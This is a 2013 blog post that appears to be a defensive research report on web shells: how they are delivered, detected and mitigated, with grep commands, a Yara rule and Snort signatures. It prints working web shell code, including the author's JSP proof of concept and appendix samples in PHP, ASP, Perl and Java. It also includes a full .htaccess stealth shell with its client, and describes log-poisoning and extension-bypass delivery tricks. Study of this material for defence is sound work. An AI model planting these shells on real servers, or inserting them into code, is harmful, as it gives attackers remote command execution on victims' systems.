Sunday, July 28, 2013

Web Shells


During early 2012, I became aware of multiple APT related campaigns that were leveraging web shells as their initial entry point into corporate networks. Web application servers exposed to the Internet with minimal controls or monitoring were being used by adversary groups to establish an initial foothold, and from there enter the corporate network.

I engaged in a detailed study to determine what these web shells were, how they were infecting web applications, and how to mitigate this threat. The following details my findings.


  1. Understand the nature of web shell technology and its use in system exploitation, command and control, and related APT efforts.
  2. Develop recommendations for addressing the threat posed by web shell including detection and prevention.


I conducted research into public forums, underground forums, white papers, and reviewed numerous malicious samples of web shells to understand the nature and use of this threat. A small scale proof of concept was established to observe and test web shell use and detection.

Recommendations for developing a defensive posture including detection options have been provided in the sections below.

A summary of technical findings has been included in the technical and appendix sections of this report.

Web Shells Defined 

Web shells can be compared to a remote access Trojan, but of a variety that leverages existing applications (web services) to facilitate command and control rather than installing a new component such as a backdoor. Web shells vary greatly in terms of sophistication and may be bundled with additional features. Web shells are used by actors for remote command and control over the systems that have been exploited. They are not themselves weapons used for attack or vulnerability exploitation, but rather a tool used post compromise to issue commands on the compromised system. 

Delivery Tactics

Because web shells are not used as an attack tool, they can be delivered via any number of web application exploits or configuration weaknesses. Some examples include:

Cross-site scripting 
SQL injection 
Java Exploit 
File upload vulnerabilities or extension blacklist bypassing 
Remote file include vulnerabilities 
Local file include


The following general indicators of web shell activity were discovered during research:
System, file, or directory changes (web code, configuration files, ACLs, files dropped, content dropped). 

  • Web shell code was as a standalone file containing shell interaction commands (cmd, exec, etc.)
  • Web shell code was injected into web application pages (cmd, exec, etc.)
  • Remote interaction with the shell code was performed through commands sent in HTTP GET strings
  • Obfuscation (custom or otherwise) was used in the form of encryption, hidden files, or encoding

Proof of Concept

To obtain hands-on experience with web shells, I established a basic proof of concept involving two systems: my Windows laptop running a Windows VM (as the victim webserver). 

Webserver: Windows XP running Apache Tomcat 7.0.26 
Configuration: Default install 

Injected code: One I had the server up and running, I replaced the existing index.jsp with a copy that contained the following at the bottom. Note, I did not "exploit" the webserver to invoke this replacement as that was not my goal for the proof of concept. My goal was to understand what web shell are and how they behave for the purpose of defense. Exploit prevention is another topic for another time, and there are many methods that can be used to inject code into web servers. Here's what I added:

<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
<%@ page import="*" %> 
String cmd = request.getParameter("cmd"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
catch(IOException e) { 
<%=output %> 

Commands Entered: Using specific urls that invoked the following commands, I attempted to interact with cmd.exe on the local system through the injected code (ipconfig, whoami, netstat –na). To interact with the web shell, I simply passed the cmd= followed by the specific command I wanted, through the URL. Here's how they looked:

Results: The output of the commands was displayed directly in my browser window, and the bottom of the page where the shell code was inserted.

Web Shell Obfuscation and Mitigation Tactics

Web shells can use a wide range of tactics for evasion. Those identified during research are listed below with a mitigation strategy.

Tactic or Scenario Mitigation 

In the first scenario, external web shell code was injected through an “include” statement. Include statements must be added to the local web server pages. Monitoring for unauthorized changes should detect when something is amiss. To defeat this tactic, consider:

  • Monitor encrypted communications between actor and target by implement an SSL proxy to gain visibility into the full contents of the communication stream
  • Implement full application logging to collect GET and URI details for continuous monitoring
  • Monitor uploaded files for encoding that can be used to obfuscate web shell code
  • Leverage a web application firewall or reverse proxy server to detect and prevent encoded contents from being dropped to the server
  • Advanced inspection tools like McAfee NTR may detect based on file attributes. 
  • The presence of an encoded file within the web directory can be discovered through code scanning.
  • When encoding is used to obfuscate command and control, a local decode file or code must be present for the web server to interpret incoming communications
  • Evaluate all files dropped or added 

Defense and Detection

Web shells cover a very broad spectrum in terms of sophistication and how they are delivered, however they rely on common elements that may be defended against though a mutli-tier approach leveraging a combination of practices, policies, technology, and monitoring. Defensive measures have been prioritized below in a high level summary of mitigation objectives:

Defense Prioritization:
  1. Implement strict access control.
    1. Network based IP and content control through a WAF or reverse proxy (including SSL proxy) to prevent direct system/application access and provide the foundation for content inspection
    2. Control content (administrator, public, etc.) access based on role: principle of least privilege.
  2. Enable full logging at the application and host level and export logs and monitor for unusual contents in the URI and related fields and include in log collection and monitoring tools.
  3. Implement change management and configuration change monitoring on all external systems.
  4. Extend OS and application vulnerability scanning to all externally facing systems.
    1. Conduct periodic intrusive scanning.
  5. Deploy McAfee NTR or a like file/network inspection technology “behind” reverse proxy of WAF to monitor all Internet communications for unusual characteristics.
  6. Implement application white listing.
Comprehensive Defense and Detection

Delivery and Exploit Prevention: Secure web servers and web applications 
Delivery and use of a web shell can only be accomplished through web application vulnerabilities and configuration weaknesses. Proactively identifying these weaknesses and mitigating them will restrict an actor’s reconnaissance, weapon delivery, and exploit capabilities. 
  1. Implement strict change control and change monitoring.
  2. Use a unique user-id for all web service applications and restrict that user’s access to shell commands or system/OS features not required for application functions.
  3. Harden web server and application configurations and validate with regular comprehensive pen testing.
  4. Leverage web application access and content control features comprehensively (eg. .htaccess).
  5. Use commercial web services products whenever possible and update with vendor patches.
  6. Conduct pre-implementation code review.
  7. Enforce strict access control at the network, host, and user levels including:
  8. Network ACLs (FW, Reverse Proxy, IPS).
  9. Host ACLs (local firewall or application access control lists).
  10. User control (separate all administration accounts from application accounts).
  11. Monitor the status of vulnerabilities and enforce remediation.
Delivery and Use Detection
Continuous Network Monitoring of Communication and File Attributes 
Inspect network communications for malicious attributes to detect when a weapon is being delivered or used: web shell files contain shell commands and receive commands and send results via the network. 
  1. Inspect files being transferred to web applications and servers for attributes of hidden use (obfuscation) or embedded commands (file containing shell commands).
  2. Inspect HTTP data for indications of command and control or unusual HTTP clients interacting with the web application or server OS.
  3. Inspect URLs and URIs request methods passed to the target server for command structures.
  4. Enable full audit logging at the OS and application layer and monitor remotely or implement a reverse proxy to capture all relevant data at the network level.
Exploit and Foothold Detection: Continuous Host-Based Monitoring 
Monitor web server files & configurations: delivery of web shells results in a change to the target server files or folders (add or modify). By monitoring for unusual access or changes detection may be possible. 
  1. Establish continuous monitoring of static web application files and directories for indications of changes which may represent malicious activity or a deviation from defined configuration policies.
  2. Provide continuous evaluation of system configurations and compare against scheduled changes.
  3. Scan web server files for malicious attributes: web shells represent foreign files or code.
    1. Inspect the attributes and contents of files used by the web application service for indicators of embedded code, encryption, or other factors which indicate malicious use.
  4. Monitor system behavior for actions representing foreign presence:
    1. Directory listings
    2. User enumeration
    3. System reconnaissance (process listings, open ports)
WebShell Validation: Forensic validation of a web shell’s presence and use 
If a system is suspected of compromise or web shell use, simple manual tools can be used for validation: 
  1. Manual command line search for files containing attributes of shell code.
  2. File string scans using a tool like Yara to discover embedded shell code or files containing malicious attributes (encoding, encryption etc.).
Technology and Services to Facilitate Defense 
  1. OS vulnerability scanner: QualysGuard, Nessus
  2. Web Application vulnerability scanner: QualysGuard WAS, Nessus
  3. Host Monitoring: McAfee TEP, Triumfant, Bit9
  4. Configuration monitoring: Tripwire, Triumfant, nCircle
  5. File and application monitoring: McAfee Total Protection, Triumfant, Bit9, nCircle
  6. Network monitoring: IDS, FW, Reverse Proxy, WAF
  7. Advanced network monitoring: McAfee NTR, NetWitness, FireEye
  8. Correlation: ArcSight 

Section 2: Web Shell Technical Review

The following sections are intended for the technical audience and serve as a more detailed review of the research conducted. Samples of web shell code are included as are specific solutions tested for web shell detection. 

Genearl Findings

Web shells have been in use for over 12 years within the realms of legitimate and malicious use, but appear to be on the rise possibly due to the recent emphasis on web-based applications. Of the web shells reviewed as listed below, one use case (remote browser system shell access) and three general architectures were discovered: web shell as a local http daemon, web shell as a proxied command and control utility, web shell as a file within the HTTP services structure. Web Shells exist for numerous web applications including CGI, PHP, ASP, and JSP. All architectures leveraged the web browser of the client to interface directly with the remote system shell using the web function as an interpreter. Some shells like the ASP shell (see cmd.asp) are very simple codes that establish a CLI interface via the browser in only a few html lines, while others like the c99 shell are very complex perl scripts that create the web shell based on system variables, include password protection and update features, command arrays, functions, command variables for obfuscation, and configurations for use in multiple environments. Several web shells reviewed used simpler user-agent string based browser validation to evade detection. However, common attributes and impact exist among all (shell commands and changes to the web application). 

Non-Malicious Use

The following web shells publicly distributed as remote systems administration tools were reviewed and were not apparently intended for malicious intent:

  • WebShell (2011) – developed for use on an iPhone (as the client) to remotely admin Linux servers 
  • Shell In A Box (2010) – local daemon using SSL for remote system CLI via a web browser 
  • Researcher Use: The following reviewed web shells were created by security researchers as proof-of-concept or pen testing tools and represent methods attackers could be or are leveraging: 
  • WSH (2006) – firewall bypassing technique 
  • Shell Of The Future (2010) – reverse web shell handler for XSS exploitation 
  • Htaccess Stealth Shell (2011) – web shell obfuscation proof of concept 
  • Simple web shell code samples – malicious web shell proof of concept white paper 

Malicious Use 

The following web shells publicly distributed by malicious forums were reviewed and appear to have been custom created by specific actors and groups. References are cited for these in the appendix. 

  • WebShell by Orb (2011) 
  • C99 PHP Shell (2005 
  • Gamma Web Shell or WebShell.cgi (2003 Gamma Group) 
  • Go-shell.cgi 
  • JspWebshell_1.2.jsp 
  • CmdAsp.asp (2000 by Maceo) 
  • Cmd-asp-5.1.asp (2006 by Brett Moore)

Recent Campaign Use

Web shells were components of the following recent adversarial campaigns that had far reaching impact.

  • Multiple campaigns by Orb in 2010 and 2011 
  • Night Dragon 
  • Shady RAT 
  • Commonplace among Chinese hacker forums (like hxxp://files[.]xakep[.]biz/shells/) 
  • References to C99 in multiple numerous attacks


WebShell as a local File

Most of the malicious samples used followed the architecture of the actor dropping a local file containing the shell code onto the target system’s web application structure. Application exploits were used to drop the file and modify the web application to make the dropped file accessible by the web application. Some examples simply used existing configuration weaknesses to engage the dropped file, but the architecture remained the same. 

External WebShell Code

One example reviewed leveraged an architecture where the only modification made to the victim system was a remote file include statement which when activated via an HTTP GET request would reach out externally to evaluate the webshell code which was hosted on the attacker’s system. 

Weaponization and Delivery

Web shells are a common method of command and control which is a function of the “foothold” stage of the infiltration kill chain. Delivery and execution can be accomplished through a wide variety of web application exploits and weaknesses. Some examples of exploits used to deliver web shells include the following. A very good white paper on this subject which covers web shell delivery for multiple vectors can be found at: 

  • Cross-site scripting 
  • SQL injection 
  • Java Exploit 
  • File upload vulnerabilities or extension blacklist bypassing 
  • Remote file include vulnerabilities 
  • Local file include 

One stealthy method of delivering a web shell intentionally created an error log entry on the web server that included the web shell code (<?php echo passthru($_GET['cmd']); ?>) by passing an HTTP request to the server for a file that doesn’t exist, with the code embedded in the referrer section of the HTTP request. The attacker could then activate the code by leveraging include functions and sending the web server a GET request for the log file which launched the web shell. This method does not persist beyond a log roll, but creating a new log entry for persistence is an easy task.

File upload exploitation can be a relatively easy method to use by bypassing weak blacklists or file upload ACLs to post the web shell to the server. For example, if .php is a blocked extension within the file upload blacklist, .php3 which is interpreted by the web application as a php file, may not be. The same applies for variations on any file type with variable extensions.

Because the file must be included in an existing web page for the function to work properly either the existing web services function must call the standalone shell file (through an include or other function), or the web shell code must be embedded into an existing web page. For the sake of expediency, the proof of concept used in this effort leveraged the later.

Once the file has been dropped into the web services functions, the actor can interact with the page to conduct shell access on the web server system. 


Once the attacker has delivered the web shell, they have an interface to the system shell as the web server user and can leverage that capability to launch additional actions. During proof of concept tests, the web shell script used provided shell access as the system user. 


Because the web shell is a post exploit tool used for command and control, detection is possible, but defense must include proactive measures to prevent initial web application exploitation and establish reactive detection. The following recommendations will facilitate a defensive posture: 

Prevent Web Server Exploitation

Of the web shells reviewed most are delivered post exploit while others are delivered and accessed through configuration weaknesses. The web application must be exploited first before a web shell can be dropped and executed. That means defense starts at securing web services. 
  1. Prevent exploitation by remediating vulnerabilities
    1. Conduct regular system and application vulnerability scans to discover vulnerabilities and mitigate when found. 
    2. Note: this does not prevent 0 or half day exploitation. 
  2. Conduct continuous configuration assessments and monitoring to discover configuration changes or weaknesses and compare against defined policies to identify configurations that expose systems to exploitation. Where access controls are used, ensure they are comprehensive.
  3. Use vendor supported web services whenever possible to ensure protection from flaws in custom coded web applications. When custom coded applications are used, leverage penetration testing and code review to ensure security and continuously monitor for any configuration changes.
  4. Enforce strict access control for web applications created for specific customers by restricting HTTP or HTTPS access to only the subnets or ranges used by the intended customer and for only the content that should be made available to them.
  5. Enforce vulnerability/exposure mitigation and/or isolate vulnerable systems into a segmented VLAN to reduce greater impact if a vulnerable system is exploited.
  6. Of note, those who have been mitigating attacks leveraging web shells have found that patching web applications and limiting the use of custom or obscure free web applications has been an effective defense.

File and HTTP Content Inspection

All of the web shell detection methods discovered during research stated the most effective way at detecting a web shell was by searching the local web services, log, and temporary directories for changes or files containing common malware attributes; essentially attributes that should not be present in web services files (see Detection Options Detailed). 
  1. Enable full system and application logging and remote collection as the foundation for monitoring.
  2. Implement a web application firewall or proxy to decode and decrypt communications so that full inspection is possible.
  3. Inspect files passed to or on web servers to detect suspicious attributes including:
    1. Use of obfuscation within a file in a web services directory (for example a base64 encoded file)
    2. Embedded commands within a file in a web services directory ($cmd, cmd.exe, command.exe…)
    3. Modification of a web services file like .htaccess which may indicate an attacker has planted a new web page
  4. Inspect communications for attributes of suspicious activity including:
    1. Commands within URLs (example:
    2. HTTP POSTs to servers which should not be posted to
    3. Inspect incoming content for files containing obfuscation, embedded commands, or unusual attributes
    4. HTTP requests for files not part of the standard web services structure
Note: Several researchers and victims of web shells noted the only method they were able to use to detect web shells on their systems was through file attribute inspection either via manual searches or a customized automated file scanning tool.

System and Behavior Monitoring

In every web shell reviewed, commands were invoked by the shell script which is run as the local web application or system user. Any actions or changes performed by the web application user that should not be would therefore be highly suspect. 
  1. Monitor files and logs on external systems to detect modifications or suspicious attributes
  2. Monitor web services users for interactive or system level actions
  3. Monitor for changes to the content and access control files (like .htaccess)
  4. Monitor error logs for interactive shell strings to detect if shell interactions are in progress
  5. Monitor commands and processes run by the system user
  6. Monitor for unauthorized system or application changes

Detection Options Detailed

Depending upon the web shell used, detection may be accomplished through a multi-layered approach using a combination of options described in the subsections below. Perhaps the most effective detection of web shells will be local configuration change detection, local file attribute inspection, and network scanners like McAfee NTR to discover file attributes used by advanced malware in general. Multiple public-source tools such as spyshell80 and NeoIP leverage this method to detect shells in web servers. The basic premise is legitimate web content should not include certain characteristics like obfuscation, encryption, or shell commands. These indicators when correlated against system behavior may result in high fidelity detection of an intrusion, however further analysis would be required for web shell attribution. Some of the tell-tale signs of web shells include: 

  • Modifications to content and system ACLs (like .htaccess) 
  • Base64 encoding for obfuscation 
  • Files containing encryption 
  • File contains shell commands, interpreters, or translators 
  • URLs contain shell commands

Host Based Options

File inspection on externally facing systems with a host-based monitoring tool or script which identifies file characteristics like the following. Note, his could be scripted as a daily function with the output added to Windows event or syslog to be externally monitored. Some manual examples include:

Linux Command
grep - RPn "(system|phpinfo|pcntl_exec|python_eval|base64_decode|gzip|mkdir|fopen|fclose|readfile|passthru|cmd|dir|pwd)"/path-to/web-files

Windows Command
find \i “cmd” c:\path\to\webservices\* 

File attribute inspection and string analysis to discover files containing obfuscation or other malicious attributes that should not be present.

Commercial host based file inspection tools like McAfee may exist to provide this capability. A simple Yara rule was developed based on common strings within the reviewed web shells and was effective at detecting the samples. If Yara can be adapted to a network or host based platform with an external logging facility, it may be an effective detection tool.

rule web_shell_attribute_detection
$a = “$cmd” 
$b = “cmd.exe” 
$c = “cmd” 
$d = “command” 
$e = “base64” 
$f = “mkdir” 
$g = “passthru” 
$h = “exec” 
$i = “shell_exec” 
$j = “dir” 
$k = “ls” 
any of them 

NeoPI is a tool develop by researchers and presented at multiple security conferences as a manual method for web shell detection (CLI based tool series of scripts). 

  • Identifies long strings within files – indication of encoding
  • Entropy to determine randomness of file contents 
  • Leverages index of coincidence to detect portions of text within a file that deviate from normal character distributions 
Monitor host based or system logs to detect unauthorized changes to static or other critical web application files: .htaccess is used to control access to web resources and hence is sometimes used by attackers to control access to web shells.

Only effective for exploits that modify .htaccess like the sample included in section 2, but one possible indicator

Identify all static configuration files or directories and monitor for changes.

Create unique user account for web applications and monitor activity for user-like actions or any system level access requested by that user account.

Because the attacker won’t know the particular attributes and configurations of the system, their initial recon will likely involve exploratory commands like: 

  • dir or pwd 
  • ls 
  • whoami 
  • netstat

Network Based Options

Of the example web shells reviewed, some used obfuscation tactics (like base64 encoding), some used SSL encryption, and most used clear text HTTP. Network based detection will of course depend upon the nature of the web shell and additional technology (such as an SSL proxy) would be required to facilitate some detection methods:

Payload and URL inspection for shell code activity can be accomplished using custom IDS signatures when URL and payload information can be inspected, and neither encryption nor obfuscation are used within the session by the attacker. Both the files passed to the web server and the HTTP commands used to execute shell commands may contain indicators such as those highlighted in the web shell samples below.

The presence of semi-colons, pipe ( | ), redirection ( > ) within a URL may also represent a command structure being passed to the web shell on the victim.

Web shell code A:

echo "<pre>"; 
$cmd = ($_REQUEST[‘cmd’]); 
echo "</pre>"; 

Web shell A execution:

Web Shell Code B:

Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 

McAfee NTR bases threat detection on multiples session based factors including identification of file characteristics that indicate possible malicious use. NTR’s capabilities include detecting some of the obfuscation tactics used by web shells. Once a suspect file or session is identified, the suspect file is made available by NTR for off-box analysis to determine the nature and capabilities of the file. Some examples of how NTR discovers possible malicious files follow. Additional proof of concept testing would be needed to validate NTR as our limited proof of concept was not detected by the demo instance of NTR currently available to the Engineering team.


Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.HTML.Serverside.Generic.Trojan"; content:"Content-Type|3a| text/html|0d 0a|"; content:"Content-Length|3a| 25| 0d 0a|"; distance:0; pcre:"/[\x0d\x0a]{4}[A-Za-z0-9\/+]{22}==([\x0d\x0a]|$)/i"; sid:20056017; rev:3;)

This signature detected an unusual base64-encoded server response that could possibly be the result of a callback request from an infected host. If in conjunction with other alarms, you may wish to check this host for signs of compromise.


Alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"base64.POST.XSS"; flow:to_server; content:"POST "; nocase; depth:5; content:"="; content:"eval"; distance:0; content:"base64_decode"; distance:0; pcre:"/eval(%28|\x28)base64_decode/"; sid:20055975; rev:1;)

This signature detected unusual POST parameters that may indicate obfuscated malicious input being passed to the server. This could result in a form of cross-site scripting attack, or in some cases, possible command injection.


Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"base64_decode.URI.XSS"; uricontent:"eval"; uricontent:"base64_decode"; distance:0; sid:20055037; rev:3; reference:url,;)

This signature detected obfuscated (base64-encoded) javascript in the URL. This could indicate possible cross-site scripting attempts. An attacker could exploit this to execute arbitrary HTML and script code in the user's session.


Alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"passthru.A.PHP.Shell.Injection"; content:"<?php"; content:"passthru"; distance:0; content:"$_SERVER["; sid:20055830; rev:3; reference:url,; reference:url,;)

This signature detected potential PHP shell injection against the web server.

Threat Intelligence correlation and network behavior analysis may be one indicator or when combined with the above detection may help raise the fidelity of web shell discovery since the attacker needs to interact with the web shell from a remote browser. 

  • Unusual User-Agent strings may indicate custom web applications or HTTP daemons or authenticated malicious clients. Most web shells used unique UA strings for obfuscation.
  • Known domains/IPs used for malicious intent.
  • Unknown domains/IPs matching behavior analysis (non-us country as one indicator)

Appendix 1: Web Shell Examples

The following section provides samples of numerous malicious web shells. The common attributes which may be used for detection have been bolded for emphasis.

Simple PHP Web Shell 

<?php if($_SERVER['HTTP_USER_AGENT']=="evil1"){echo passthru($_GET['cmd']);} else 
{echo " "; ?>

Simple ASP Web Shell

Set command = "rundll32.exe /d " + "Request.QueryString("lol") + ".dll" 
Set objWShell = CreateObject("WScript.Shell") 

PHP Web Shell Extract 

$register_globals = (bool) ini_get('register_gobals'); 
if ($register_globals) $svr = getenv(SERVER_NAME); 
else $svr = $_SERVER['SERVER_NAME']; 
<title>Published at</title> 
<form enctype="multipart/form-data" method="POST"> 
[webshell@<?php echo $svr ?> /]# 
<input type="text" name="cmd" value=""> 
<input type="submit" value="Enter"> 
<hr width="75%" align="left"> 
$cmd = $_POST['cmd']; if($cmd) { echo '<pre>'; echo $last_line = system($cmd); echo '</pre><br>'; } 

Perl Web Shell

#!/usr/bin/perl #web shell using backticks 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
$command = "pwd"; 
$result = `$command`; 
print $result; 
And now using open() 
#web shell open 
use CGI; 
my $cgi = new CGI; 
my $command = $cgi->param('cmd'); 
if($command eq "") 
$command = "pwd"; 
open lol, "/bin/sh $command|" or die "Failed to open pipeline"; while(<lol>) { 

JSP Shell 

<FORM METHOD=GET ACTION='cmdjsp.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
<%@ page import="*" %> 
<%@ page import="java.util.*" %> 
<%@ page import="javax.servlet.*" %> 
<%@ page import="javax.servlet.http.*" %> 
String cmd = request.getParameter("cmd"); 
String OS = System.GetProperty(""); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command 
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); 
else { 
Process p = Runtime.getRuntime().exec(cmd); 
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
catch(IOException e) {e.printStackTrace();} 
<strong>Current working directory is:<br></strong> 
<%= getServletContext().getRealPath("/") %> 
<%=output %> 
<!-- grabbed from modified for windows and linux by Joseph Giron --> 

NSHELL Extract:

$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="";mail($sd98, $sj98, $msg8873, "From: $sd98"); 
function ecmd() 
echo "<FORM name=injection METHOD=POST ACTION=".$_SERVER['REQUEST_URI'].">"; 
echo "Command : <INPUT TYPE=text NAME=cmd value=".@stripslashes(htmlentities($_POST['cmd']))."><br> <INPUT TYPE=submit></FORM><hr color=777777 width=100% height=115px></font><pre>"; 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
$cmd = @$_POST['cmd']; 
if (isset($chdir)) @chdir($chdir); 
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); 
$output = ob_get_contents(); 
if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); 
echo "<a href=".$_SERVER['PHP_SELF']."?act=readfile>Read file</a>"; 
echo "</pre>";

PHP Shell Sample:

if ( @is_readable("$dir/$file") ) 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).buildUrl( $file, "cmd=file&file=$dir/$file").sp(9)."</td>\n"; 
echo "<tr><td NOWRAP class=\"top left right $tdcolor\">".sp(3).$file.sp(9)."</td>\n"; 
/* <!-- Actions --> */ 
echo "<td NOWRAP class=\"top right $tdcolor\"><center>&nbsp;&nbsp;\n"; 
/* <!-- Rename --> */ 
echo buildUrl($img["Rename"], "cmd=ren&lastcmd=dir&lastdir=$dir&oldfile=$dir/$file").sp(3)."\n"; 
/* <!-- Edit --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo buildUrl( $img["Edit"], "cmd=edit&file=$dir/$file").sp(3)."\n"; 
/* <!-- Copy --> */ 
echo buildUrl( $img["Copy"], "cmd=copy&file=$dir/$file")."\n"; 
/* <!-- Move --> */ 
if ( (@is_writeable("$dir/$file")) && (@is_readable("$dir/$file")) ) 
echo sp(3). buildUrl( $img["Move"], "cmd=move&file=$dir/$file")."\n"; 
/* <!-- Delete --> */ 
echo sp(3). buildUrl( $img["Delete"], "cmd=delfile&file=$dir/$file&lastcmd=dir&lastdir=$dir")."\n"; 
/* <!-- Download --> */ 
echo sp(3). buildUrl( $img["Download"], "cmd=downl&file=$dir/$file")."\n"; 
/* <!-- Execute --> */ 
if ( @is_executable("$dir/$file") ) 
echo sp(3).buildUrl( $img["Execute"], "cmd=execute&file=$dir/$file")."\n"; 
/* <!-- End of Actions --> */

PHP WebShell by Digital Outcast (Partial)

//This function sends the appropriate headers to handle the image (This is just GIF images easily modifiable 
if (isset($_GET['img'])) 
header("Content-type: image/gif"); 
echo base64_decode($images[$_GET['img']]); 
//Sets the directory to the directory specified 
if (isset($_GET['dir'])) 
$current_dir = realpath($_GET['dir'])."/"; 
$current_dir = './'; 
//Run a CLI command if one has been sent 
if (isset($_POST['CLICommand'])) 
echo "<pre>"; 
echo "<b>Output From Command: </b><br />"; 
echo "<textarea cols='120' rows='25'>"; 
echo "</textarea>"; 
echo "</pre>"; 
//set the current_dir url 
if (($current_dir == './') && (!isset($_COOKIE['dshell']))) 
$surl = $_SERVER['REQUEST_URI']; 
elseif (!isset($_COOKIE['dshell'])) 
die('Error Could Not load the default path'); 
$surl = $_COOKIE['dshell'];

Java WebShell 

public String exeCmd(String cmd) { 
Runtime runtime = Runtime.getRuntime(); 
Process proc = null; 
String retStr = ""; 
InputStreamReader insReader = null; 
char[] tmpBuffer = new char[1024]; 
int nRet = 0; 
try { 
proc = runtime.exec(cmd); 
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312")); 
while ((nRet =, 0, 1024)) != -1) { 
retStr += new String(tmpBuffer, 0, nRet); 
retStr = HTMLEncode(retStr); 
} catch (Exception e) { 
retStr = "<font color=\"red\">ÃüÁî´íÎó\"" + cmd + "\""; 
} finally { 
return retStr; 

ASP Web Shell targeting IIS 5.1 
' ASP Cmd Shell On IIS 5.1 
Dim oS,oSNet,oFSys, oF,szCMD, szTF 
On Error Resume Next 
Set oS = Server.CreateObject("WSCRIPT.SHELL") 
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFSys = Server.CreateObject("Scripting.FileSystemObject") 
szCMD = Request.Form("C") 
If (szCMD <> "") Then 
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName() 
' Here we do the command 
Call oS.Run(" cmd.exe /c """ & szCMD & " > " & szTF & 
response.write szTF 
' Change perms 
Call oS.Run(" cmd.exe /c cacls.exe " & szTF & " /E /G 
Set oF = oFSys.OpenTextFile(szTF,1,False,0) 
End If 
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name="C" size=70 value="<%= szCMD %>"> 
<input type=submit value="Run"></FORM><PRE> 
Machine: <%=oSNet.ComputerName%><BR> 
Username: <%=oSNet.UserName%><br> 
If (IsObject(oF)) Then 
On Error Resume Next 
Response.Write Server.HTMLEncode(oF.ReadAll) 
Call oS.Run(" cmd.exe /c del "& szTF,0,True) 
End If 
<!-- 2006 --> 

Appendix 2: A Lesson in Obfuscation - Stealth Web Shell 

This scenario of a stealth web shell presents the most likely use of web shells as a weapon and the most challenging to detect and defend against of those reviewed. This specific implementation of a web shell is obfuscated through us of a hidden file (.filename, .htaccess, or even index.php), external payload (outside the URI), hidden URL, IDS evasion by using base64 encoding, however some tell-tale signs are still present (bolded for emphasis).

Sample .htaccess Code: 

01 # Self contained .htaccess stealth web shell - Part of the htshell project 
02 # Written by Wireghoul - 
04 # Override default deny rule to make .htaccess file accessible over web 
05 <files ~="" "^\.ht"=""> 
06 Order allow,deny 
07 Allow from all 
08 </files> 
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
11 # the apache directoves from the .htaccess file 
12 AddType application/x-httpd-php .htaccess 
14 # Enable output buffering so we can fudge content length in logs 
15 php_value output_buffering 1 
17 # Rewrite supposed url to the .htaccess file if X-ETAG request header is set 
18 RewriteEngine on 
19 RewriteCond %{HTTP:X-ETAG} !^$ 
20 RewriteRule .* .htaccess [L] 
22 # SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc');$e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush();exit(); ?> 
Sample Perl Code: 
01 #!/usr/bin/perl 
02 # Interface for the mod_php htaccess stealth shell 
03 # Written by Wireghoul - 
05 use warnings; 
06 use strict; 
07 use MIME::Base64; 
08 use LWP::UserAgent; 
10 &usage unless $ARGV[0]; 
11 my $url = $ARGV[0]; 
12 pop(@ARGV); #keep readline happy 
13 my $ua = LWP::UserAgent->new; 
14 $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16'); 
16 sub usage { 
17 print "Usage: $0 url\nExample: $0\n"; 
18 exit 2; 
19 } 
21 my $cmd = ''; 
22 print "Connecting to shell at $url - type 'exit' to exit"; 
23 until ($cmd eq 'exit') { 
24 print "\nshell> "; 
25 $cmd = readline; 
26 chomp $cmd; 
27 my $payload = 'AA'.encode_base64($cmd); 
28 my $response = $ua->get( $url, 'X-ETAG' => $payload); 
29 if ($response->header('X-ETAG')) { 
30 print decode_base64(substr($response->header('X-ETAG'),2)); 
31 } else { 
32 print "Error! No payload in response!\n"; 
33 } 
34 } 
01 # GET http://localhost/favicon.ico | head -1 
02 ________________________________________ 
03 h6 ?@@(F( 
05 Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit 
06 shell> uname -a 
07 Linux bt #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux 
08 shell> id 
09 uid=33(www-data) gid=33(www-data) groups=33(www-data) 
10 shell> exit 
